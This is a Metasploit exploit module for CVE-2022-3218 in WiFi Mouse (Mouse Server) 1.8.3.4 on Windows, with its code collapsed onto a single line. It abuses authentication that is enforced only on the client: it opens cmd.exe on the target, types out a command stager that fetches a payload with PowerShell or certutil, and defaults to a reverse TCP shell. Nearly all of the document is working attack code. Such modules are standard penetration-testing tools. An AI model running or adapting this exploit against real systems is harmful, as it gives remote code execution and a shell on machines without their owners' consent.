WiFi Mouse 1.8.3.4 Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = NormalRanking  include Exploit::Remote::Tcp  include Msf::Exploit::CmdStager  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Wifi Mouse RCE',        'Description' => %q{          The WiFi Mouse (Mouse Server) from Necta LLC contains an auth bypass as the          authentication is completely implemented entirely on the client side. By utilizing          this vulnerability, is possible to open a program on the server          (cmd.exe in our case) and type commands that will be executed as the user running          WiFi Mouse (Mouse Server), resulting in remote code execution.          Tested against versions 1.8.3.4 (current as of module writing) and          1.8.2.3.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die', # msf module          'REDHATAUGUST', # edb          'H4RK3NZ0' # edb, original discovery        ],        'References' => [          [ 'EDB', '50972' ],          [ 'EDB', '49601' ],          [ 'CVE', '2022-3218' ],          [ 'URL', 'http://wifimouse.necta.us/' ],          [ 'URL', 'https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/wifi%20mouse/wifi-mouse-server-rce.py' ]        ],        'Arch' => [ ARCH_X64, ARCH_X86 ],        'Platform' => 'win',        'Targets' => [          [            'stager',            {              'CmdStagerFlavor' => ['psh_invokewebrequest', 'certutil']            }          ],        ],        'Payload' => {          'BadChars' => "\x0a\x00"        },        'DefaultOptions' => {          # since this may get typed out ON SCREEN we want as small a payload as possible          'PAYLOAD' => 'windows/shell/reverse_tcp'        },        'DisclosureDate' => '2021-02-25',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [CRASH_SERVICE_DOWN],          'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # typing on screen        }      )    )    register_options(      [        OptPort.new('RPORT', [true, 'Port WiFi Mouse Mouse Server runs on', 1978]),        OptInt.new('SLEEP', [true, 'How long to sleep between commands', 1]),        OptInt.new('LINEMAX', [true, 'Maximum length of lines to send for stager method.  Smaller for more unstable connections.', 1_020]),      ]    )  end  def send_return    sock.put('key  3RTN') # what the mobile app sends  end  def send_command(command)    sock.put("utf8 #{command}\x0A")    sleep(datastore['SLEEP'])    send_return  end  def open_file(file)    file = "/#{file}".gsub('\\', '/').gsub(':', '')    sock.put("openfile #{file}\x0A")  end  def exploit    connect    print_status('Opening command prompt')    open_file('C:\\Windows\\System32\\cmd.exe')    sleep(datastore['SLEEP']) # give time for it to open    print_status('Typing out payload')    execute_cmdstager({ linemax: datastore['LINEMAX'], delay: datastore['SLEEP'] })    handler  end  def execute_command(cmd, _opts = {})    send_command(cmd)  endend